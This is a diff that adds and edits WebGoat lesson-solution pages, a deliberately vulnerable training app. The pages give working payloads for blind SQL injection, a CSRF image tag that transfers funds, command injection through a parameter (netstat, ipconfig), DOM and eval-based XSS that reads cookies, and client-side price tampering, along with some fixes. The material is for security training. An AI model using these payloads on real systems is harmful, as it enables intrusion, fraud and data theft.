<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1023"
|
||||
@ -894,7 +894,7 @@ style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Now you are
|
||||
redirected to the WebGoat start page. The JSESSIONID is changed and you lost all
|
||||
your green stars because the basic user hasn’t completed any lesson. Go to the
|
||||
lesson “Basic Authentication” to complete this lesson.<o:p></o:p></span></p>
|
||||
lesson "Basic Authentication" to complete this lesson.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
|
@ -647,7 +647,7 @@ character using > and <<o:p></o:p></span></p>
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The backend
|
||||
database is Microsoft Access. Keep that in mind if you research SQL functions
|
||||
database is HSQLDB. Keep that in mind if you research SQL functions
|
||||
on the Internet since different databases use some different functions and
|
||||
syntax.<o:p></o:p></span></p>
|
||||
|
||||
@ -670,13 +670,13 @@ query for your target data and get a string <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>mid(string,
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>substr(string,
|
||||
start, length) - returns a substring of string starting at the start character
|
||||
and going for length characters <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>asc(string)
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>ascii(string)
|
||||
will return the ascii value of the first character in string <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
@ -690,15 +690,15 @@ the first character of the first_name of userid 15613 less than 'M' (ascii 77)?
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>101 AND (asc(
|
||||
mid((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) ) < 77 );
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>101 AND (ascii(
|
||||
substr((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) ) < 77 );
|
||||
<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>If you get
|
||||
back that account number is valid, then yes. If get back that the number
|
||||
isinvalid then answer is no.<o:p></o:p></span></p>
|
||||
is invalid then answer is no.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Another
|
||||
example: is the second character of the first_name of userid 15613 greater than
|
||||
@ -706,8 +706,8 @@ example: is the second character of the first_name of userid 15613 greater than
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>101 AND (asc(
|
||||
mid((SELECT first_name FROM user_data WHERE userid=15613) , 2 , 1) ) > 109
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>101 AND (ascii(
|
||||
substr((SELECT first_name FROM user_data WHERE userid=15613) , 2 , 1) ) > 109
|
||||
); <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
@ -752,8 +752,8 @@ style='mso-no-proof:yes'>1</span><!--[if supportFields]><span style='mso-element
|
||||
field-end'></span><![endif]--> Lesson 16<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For the
|
||||
query: 101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid=15613)
|
||||
, 1 , 1) ) < 77 ); you will get a “Account number is valid”. If the
|
||||
query: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613)
|
||||
, 1 , 1) ) < 77 ); you will get a "Account number is valid". If the
|
||||
character is bigger then the value you get an invalid account error message.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
@ -779,7 +779,7 @@ field-end'></span><![endif]--> Invalid account number<span style='font-family:
|
||||
change the < to = to make sure that you have the correct value.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>This results
|
||||
in the query 101 AND (asc( mid((SELECT first_name FROM user_data WHERE
|
||||
in the query 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
|
||||
userid=15613) , 1 , 1) ) = 74 );<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
@ -811,7 +811,7 @@ characters.<o:p></o:p></span></p>
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The query for
|
||||
the second character: 101 AND (asc( mid((SELECT first_name FROM user_data WHERE
|
||||
the second character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
|
||||
userid=15613) , 2 , 1) ) = 111 );<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Ascii(111) =
|
||||
@ -831,19 +831,19 @@ style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For the third
|
||||
character: 101 AND (asc( mid((SELECT first_name FROM user_data WHERE
|
||||
character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
|
||||
userid=15613) , 3 , 1) ) = 101 ); Ascii(101) = e<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For the
|
||||
fourth character: 101 AND (asc( mid((SELECT first_name FROM user_data WHERE
|
||||
fourth character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
|
||||
userid=15613) , 4 , 1) ) = 115 ); Ascii(115) = s<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For the fifth
|
||||
character: 101 AND (asc( mid((SELECT first_name FROM user_data WHERE
|
||||
character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
|
||||
userid=15613) , 5 , 1) ) = 112); Ascii(112) = p<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For the sixth
|
||||
character: 101 AND (asc( mid((SELECT first_name FROM user_data WHERE
|
||||
character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
|
||||
userid=15613) , 6 , 1) ) = 104); Ascii(104) = h<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
@ -747,7 +747,7 @@ height="1" /><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
mso-fareast-language:JA'>The transaction can be triggered by an URL to the
|
||||
current lesson and an extra parameter “transferFunds’ and the amount. The
|
||||
current lesson and an extra parameter "transferFunds" and the amount. The
|
||||
width=1 and height=1 will not show the image.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
@ -758,14 +758,14 @@ mso-fareast-language:JA'>This payload will work:<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
mso-fareast-language:JA'><img
|
||||
src=”http://localhost/WebGoat/attack?Screen=81&menu=210&transferFunds=5000”
|
||||
src="http://localhost/WebGoat/attack?Screen=81&menu=210&transferFunds=5000"
|
||||
width="1" height="1" /><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
mso-fareast-language:JA'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
mso-fareast-language:JA'>So create a new message with title “Test” and a
|
||||
mso-fareast-language:JA'>So create a new message with title "Test" and a
|
||||
message with the payload.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
|
@ -0,0 +1,79 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Client Side Filtering</title>
|
||||
<link rel="stylesheet" type="text/css" href="/WebGoat/lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> Client Side Filtering</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
It is always a good practice to send to the client
|
||||
only information which they are supposed to have access to.
|
||||
In this lesson, too much information is being sent to the
|
||||
client, creating a serious access control problem.
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
For this exercise, your mission is exploit the extraneous
|
||||
information being returned by the server to discover information
|
||||
to which you should not have access.
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/>
|
||||
This Lab consists of two Stages. In the first Stage you have to
|
||||
get sensitive information . In the second one you have to fix the problem.<br/>
|
||||
<h3>Stage 1</h3>
|
||||
Use Firebug to solve this stage. If you are using IE you can try it with
|
||||
IEWatch.<br/><br/>
|
||||
|
||||
First use any person from the list and see what you get. After doing this you
|
||||
can search for a specific person in Firebug. Make sure you find the hidden table with
|
||||
the information, including the salary and so on. In the same table you will find
|
||||
Neville.
|
||||
<center>
|
||||
<img src="/WebGoat/lesson_solutions/ClientSideFiltering_files/clientside_firebug.jpg" alt="Clientside Filtering" />
|
||||
<font size="2"><b>Inspect HTML on Firebug</b></font>
|
||||
</center>
|
||||
<br/><br/>
|
||||
Now write the salary into the text edit box and submit your answer!
|
||||
|
||||
<h3>Stage 2</h3>
|
||||
In this stage you have to modify the clientSideFiltering.jsp which you will find under
|
||||
the WebContent in the lessons/Ajax folder. The Problem is that
|
||||
the server sends all information to the client. As you could see
|
||||
even if it is hidden it is easy to find the sensitive date. In this
|
||||
stage you will add a filter to the XPath queries. In this file you will find
|
||||
following construct:<br><br>
|
||||
<code>
|
||||
StringBuffer sb = new StringBuffer();<br>
|
||||
|
||||
sb.append("/Employees/Employee/UserID | ");<br>
|
||||
sb.append("/Employees/Employee/FirstName | ");<br>
|
||||
sb.append("/Employees/Employee/LastName | ");<br>
|
||||
sb.append("/Employees/Employee/SSN | ");<br>
|
||||
sb.append("/Employees/Employee/Salary ");<br>
|
||||
|
||||
String expression = sb.toString();<br>
|
||||
</code><br>
|
||||
This string will be used for the XPath query. You have to guarantee that a manger only
|
||||
can see employees which are working for him. To archive this you can use
|
||||
filters in XPath. Following code will exactly do this:<br><br>
|
||||
<code>
|
||||
StringBuffer sb = new StringBuffer();<br>
|
||||
|
||||
sb.append("/Employees/Employee[Managers/Manager/text() = " + userid + "]/UserID | ");<br>
|
||||
sb.append("/Employees/Employee[Managers/Manager/text() = " + userid + "]/FirstName | ");<br>
|
||||
sb.append("/Employees/Employee[Managers/Manager/text() = " + userid + "]/LastName | ");<br>
|
||||
sb.append("/Employees/Employee[Managers/Manager/text() = " + userid + "]/SSN | ");<br>
|
||||
sb.append("/Employees/Employee[Managers/Manager/text() = " + userid + "]/Salary ");<br>
|
||||
|
||||
String expression = sb.toString();<br>
|
||||
</code>
|
||||
<br><br>
|
||||
Now only information is sent to your client you are authorized for. You can click on the button.
|
||||
<br><br>
|
||||
|
||||
</body>
|
||||
</html>
|
After Width: | Height: | Size: 22 KiB |
@ -0,0 +1,63 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Insecure Client Storage</title>
|
||||
<link rel="stylesheet" type="text/css"
|
||||
href="/WebGoat/lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> Insecure Client Storage</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br />
|
||||
It is always a good practice to validate all input
|
||||
on the server side. Leaving the mechanism for validation
|
||||
on the client side leaves it vulnerable to reverse engineering.
|
||||
Remember, anything on the client side should not be considered a secret.</p>
|
||||
|
||||
|
||||
|
||||
<p><b>General Goal(s):</b><br />
|
||||
For this exercise, your mission is to discover a coupon
|
||||
code to receive an unintended discount. Then, exploit the use
|
||||
of client side validation to submit an order with a cost of zero. </p>
|
||||
|
||||
<p><b>Solution:</b><br />
|
||||
For the solution you need a plugin for your browser, which is capable of debugging
|
||||
Javascript. For IE you can use IEWatch. This solution is written for Firebug
|
||||
which is a plugin for Firefox.
|
||||
</p>
|
||||
|
||||
<h2>Stage 1</h2>
|
||||
<p>
|
||||
First we want to try to get a coupon code to get something cheaper. Open
|
||||
Firebug and click on the Script Tab. Make sure you choose clientSideValidation.js
|
||||
on the dropdown list. Toggle a breakpoint on the line:<br/>
|
||||
<code>decrypted = decrypt(coupons[i]);</code></p>
|
||||
Now enter a character in the coupon code field. The Javascript gets executed
|
||||
but stops at the breakpoint. On the right side you see the parameters
|
||||
and there values. Now use the step over symbol or F10. Now you can read
|
||||
the clear text of decrypted:
|
||||
<center>
|
||||
<img src="/WebGoat/lesson_solutions/ClientSideValidation_files/ClientSideValidation_stage1.png" width=450px alt="Stage 1" />
|
||||
<b>Figure 1 Firebug in action</b>
|
||||
</center>
|
||||
<p>
|
||||
Now that you know the coupon name enter it in the coupon field, purchase something
|
||||
and you are done.
|
||||
</p>
|
||||
|
||||
<h2>Stage 2</h2>
|
||||
<p>
|
||||
You can not edit the Prices in the Shopping Cart. The reason is that the readonly
|
||||
attribute is set for this field.
|
||||
</p>
|
||||
<p>To get rid of this attribute open Firebug. Make sure this time you use
|
||||
the HTML View. You can directly in
|
||||
Firebug search for readonly and elemenate this attribute.The field for the total is
|
||||
called GRANDTOT. After having deleted the readonly attribute from GRANDTOT
|
||||
it is possible to change the price directly in the browser. Select any products
|
||||
you like, change the total field to 0 and hit the purchase button.</p>
|
||||
|
||||
</body>
|
||||
</html>
|
After Width: | Height: | Size: 54 KiB |
@ -662,7 +662,7 @@ style='font-family:"Arial","sans-serif"'>Solution:<o:p></o:p></span></b></p>
|
||||
style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Select a
|
||||
lesson from the drop-down box and click on “View”.<o:p></o:p></span></p>
|
||||
lesson from the drop-down box and click on "View".<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
@ -677,9 +677,9 @@ style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Intercept the
|
||||
request with WebScarab when you click on “View”. Append “ & netstat –an
|
||||
& ipconfig to the HelpFile parameter. Do not forget the double quote!<o:p></o:p></span></p>
|
||||
<p><span style='font-family:"Arial","sans-serif"'>Intercept the
|
||||
request with WebScarab when you click on "View". Append " & netstat −an
|
||||
& ipconfig"to the HelpFile parameter. Do not forget the double quote!<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
|
@ -0,0 +1,32 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Shopping Cart Concurrency Flaw</title>
|
||||
<link rel="stylesheet" type="text/css" href="/WebGoat/lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> Shopping Cart Concurrency Flaw</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
Web applications can handle many HTTP requests simultaneously. Developers often use variables that are not thread safe. Thread safety means that the fields of an object or class always maintain a valid state when used concurrently by multiple threads. It is often possible to exploit a concurrency bug by loading the same page as another user at the exact same time. Because all threads share the same method area, and the method area is where all class variables are stored, multiple threads can attempt to use the same class variables concurrently. <br>
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase merchandise for a lower price.
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/><br/>
|
||||
1. Open a new browser window on the same page.<br/><br/>
|
||||
2. In window A you choose a low cost item and click "Purchase".<br/><br/>
|
||||
<img src="/WebGoat/lesson_solutions/ConcurrencyCart_files/image001.jpg"><br/>
|
||||
<font size="2"><b>Window A</b></font><br/><br/><br/>
|
||||
3. In window B you choose the a high cost item you want to buy and click "update cart". The variable of the price has been overwritten now.<br/><br/>
|
||||
<img src="/WebGoat/lesson_solutions/ConcurrencyCart_files/image002.jpg"><br/>
|
||||
<font size="2"><b>Window B</b></font><br/><br/><br/>
|
||||
4. In window A you can click click "Confirm" and you bought your item for a lower price.<br/><br/>
|
||||
<img src="/WebGoat/lesson_solutions/ConcurrencyCart_files/image003.jpg"><br/>
|
||||
<font size="2"><b>Window A Success</b></font><br/>
|
||||
<br><br><br>
|
||||
</body>
|
||||
</html>
|
After Width: | Height: | Size: 21 KiB |
After Width: | Height: | Size: 20 KiB |
After Width: | Height: | Size: 31 KiB |
@ -756,7 +756,7 @@ intercepting the HTTP response in WebScarab!<o:p></o:p></span></p>
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Enter a
|
||||
license key (for example ‘a’) and intercept the HTTP Request and HTTP Response
|
||||
license key (for example 'a') and intercept the HTTP Request and HTTP Response
|
||||
in WebScarab.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
51
main/project/WebContent/lesson_solutions/DOMXSS.html
Normal file
@ -0,0 +1,51 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>DOM Based Cross Site Scripting (XSS)</title>
|
||||
<link rel="stylesheet" type="text/css" href="/WebGoat/lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> DOM Based Cross Site Scripting (XSS)</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
The Document Object Model (DOM) presents an interesting problem from a security standpoint. It allows the content of a web page to be dynamically modified, but that can be abused by attackers during a malicious code injection. XSS, a type of malicious code injection, can occur when unvalidated user input is used directly to modify the content of a page on the client side. <br>
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
For this exercise, your mission is to use this vulnerability to inject malicious code into the DOM. Then in the last stage, you will correct the flaws in the code to address the vulnerability.
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/><br/>
|
||||
Stage 1: Enter "<IMG SRC="images/logos/owasp.jpg"/>" and submit the solution.<br/><br/>
|
||||
<img src="/WebGoat/lesson_solutions/DOMXSS_files/image001.jpg"><br/>
|
||||
<font size="2"><b>Stage 1 result</b></font><br/><br/><br/>
|
||||
Stage 2: Enter "<img src=x onerror=;;alert('XSS') />" and submit the solution.<br/><br/>
|
||||
<img src="/WebGoat/lesson_solutions/DOMXSS_files/image002.jpg"><br/>
|
||||
<font size="2"><b>Stage 2 result</b></font><br/><br/><br/>
|
||||
Stage 3: Enter "<IFRAME SRC="javascript:alert('XSS');"></IFRAME>" and submit the solution.<br/><br/>
|
||||
<img src="/WebGoat/lesson_solutions/DOMXSS_files/image003.jpg"><br/>
|
||||
<font size="2"><b>Stage 3 result</b></font><br/><br/><br/>
|
||||
Stage 4: Enter "Please enter your password:<BR><input type = "password" name="pass"/><button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR> <BR><BR><BR><BR><BR><BR><BR><BR>" and submit the solution.<br/><br/>
|
||||
<img src="/WebGoat/lesson_solutions/DOMXSS_files/image004.jpg"><br/>
|
||||
<font size="2"><b>Stage 4 result</b></font><br/><br/><br/>
|
||||
Stage 5: You have to use the JavaScript escape.js for the input.<br/>
|
||||
You will find the JavaScripts in tomcat\webapps\WebGoat\javascript ( Standart Version ) or in WebContent\javascript ( Developer Version ).<br/>
|
||||
Open the JavaScript DOMXSS.js<br/><br/><br/>
|
||||
<i>function displayGreeting(name) {<br/>
|
||||
if (name != ''){<br/>
|
||||
document.getElementById("greeting").innerHTML="Hello, " + </i><b>name</b><i> + "!";<br/>
|
||||
}<br/>
|
||||
}</i><br/>
|
||||
<br/>
|
||||
You have to change this to:<br/><br/>
|
||||
<i>function displayGreeting(name) {<br/>
|
||||
if (name != ''){<br/>
|
||||
document.getElementById("greeting").innerHTML="Hello, " + </i><b>escapeHTML(name);</b><i> + "!";<br/>
|
||||
}<br/>
|
||||
}</i><br/>
|
||||
<br/>
|
||||
The attacks will no longer work.
|
||||
<br><br><br>
|
||||
</body>
|
||||
</html>
|
After Width: | Height: | Size: 12 KiB |
After Width: | Height: | Size: 14 KiB |
After Width: | Height: | Size: 9.9 KiB |
After Width: | Height: | Size: 12 KiB |
@ -623,7 +623,7 @@ of 3 logins.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Let’s try a
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Let's try a
|
||||
SQL Injection attack. Enter in the password field ' or '1' = '1<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
28
main/project/WebContent/lesson_solutions/DangerousEval.html
Normal file
@ -0,0 +1,28 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Dangerous Use of Eval</title>
|
||||
<link rel="stylesheet" type="text/css" href="/WebGoat/lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> Dangerous Use of Eval)</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
It is always a good practice to validate all input on the server side. XSS can occur when unvalidated user input is reflected directly into an HTTP response. In this lesson, unvalidated user-supplied data is used in conjunction with a Javascript eval() call. In a reflected XSS attack, an attacker can craft a URL with the attack script and store it on another website, email it, or otherwise trick a victim into clicking on it.
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
For this exercise, your mission is to come up with some input which, when run through eval, will execute a malicious script. In order to pass this lesson, you must 'alert()' document.cookie.
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/>
|
||||
The value of the digit access code field is placed in the Javascript eval() function. This is the reason why your attack will not require the "<script>" tags.<br/>
|
||||
Enter: 123');alert(document.cookie);('<br/><br/>
|
||||
The result on the server is:<br/><br/>
|
||||
eval('<font color="#ff0000">123');<br/>
|
||||
alert(document.cookie);<br/>
|
||||
('</font>');
|
||||
<br><br><br>
|
||||
</body>
|
||||
</html>
|
22
main/project/WebContent/lesson_solutions/Encoding.html
Normal file
@ -0,0 +1,22 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Encoding Basics</title>
|
||||
<link rel="stylesheet" type="text/css" href="/WebGoat/lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> How to Perform Cross Site Scripting (XSS)</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
Different encoding schemes can be used in web applications for different reasons.
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
This lesson will familiarize the user with different encoding schemes.
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/>
|
||||
Enter the string "abc". In the List below you see the encoded value of the string. For rot13 encoding this is "nop". Now enter a string "a c" and have a look on the url encoding.<br><br><br>
|
||||
</body>
|
||||
</html>
|
@ -597,7 +597,7 @@ style='font-family:"Arial","sans-serif"'> Abusing error handling.<o:p></o:p></sp
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>This lesson presents
|
||||
the basics for understanding the "fail open" condition regarding
|
||||
authentication. The security term, “fail open” describes a behavior of a
|
||||
authentication. The security term, "fail open" describes a behavior of a
|
||||
verification mechanism. This is when an error (i.e. unexpected exception)
|
||||
occurs during a verification method causing that method to evaluate to true.
|
||||
This is especially dangerous during login. <o:p></o:p></span></p>
|
||||
@ -653,7 +653,7 @@ style='font-family:"Arial","sans-serif"'>Solution:<o:p></o:p></span></b></p>
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Enter user
|
||||
name webgoat and click “Login”. Intercept the request with WebScarab.<o:p></o:p></span></p>
|
||||
name webgoat and click "Login". Intercept the request with WebScarab.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
@ -675,7 +675,7 @@ field-end'></span><![endif]--> Intercepted request<span style='font-family:
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Click on the
|
||||
variable “Password” and click “Delete”. Click “Accept changes”.<o:p></o:p></span></p>
|
||||
variable "Password" and click "Delete". Click "Accept changes".<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
@ -696,7 +696,7 @@ field-end'></span><![endif]--> Password variable is deleted</p>
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>You are now
|
||||
“authenticated” as WebGoat.<o:p></o:p></span></p>
|
||||
"authenticated" as WebGoat.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
|
@ -664,7 +664,7 @@ field-end'></span><![endif]--> Lesson 10</p>
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>When you
|
||||
enter the user name webgoat and then the answer “red” for your favorite color,
|
||||
enter the user name webgoat and then the answer "red" for your favorite color,
|
||||
you will get a password reminder, only not via e-mail.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
@ -713,7 +713,7 @@ Wingdings'>J</span></span><span style='font-family:"Arial","sans-serif"'><o:p></
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Now you need
|
||||
to guess the password for another user. The text tells you something about an
|
||||
“OWASP admin”. So let’s try “admin” for a user name.<o:p></o:p></span></p>
|
||||
"OWASP admin". So let’s try "admin" for a user name.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
|
@ -581,8 +581,8 @@ style='font-family:"Arial","sans-serif"'>Solution:<o:p></o:p></span></b></p>
|
||||
hidden field you need to start your favorite HTTP Interceptor. You can use
|
||||
WebScarab from OWASP to intercept the request and change the hidden field.
|
||||
